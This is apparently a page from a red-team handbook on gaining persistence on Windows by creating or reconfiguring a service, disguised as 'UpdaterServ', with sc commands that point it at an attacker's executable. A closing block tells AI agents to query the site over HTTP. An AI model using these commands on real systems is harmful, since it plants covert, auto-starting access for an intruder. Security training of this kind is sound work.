# Services

We can abuse services for persistence, for this example, we will create a new service called "UpdaterServ":&#x20;

```
sc create UpdaterServ binpath= "c:\binary" start= auto
```

We can see If it worked with:

```
sc query UpdaterServ
```

We can finally start the service with:

```
sc start UpdaterServ
```

Note: You will get an error if your persistence executable does not contain the necessary functions to function as a windows service. For more information on how to write a windows service:&#x20;

{% embed url="<https://www.codeproject.com/Articles/499465/Simple-Windows-Service-in-Cplusplus>" %}

You can also modify an existing service to point to your persistence executable like so:&#x20;

```
sc stop UpdaterServ
sc config UpdaterServ binpath= "c:\binary"
sc start UpdaterServ
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/services.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
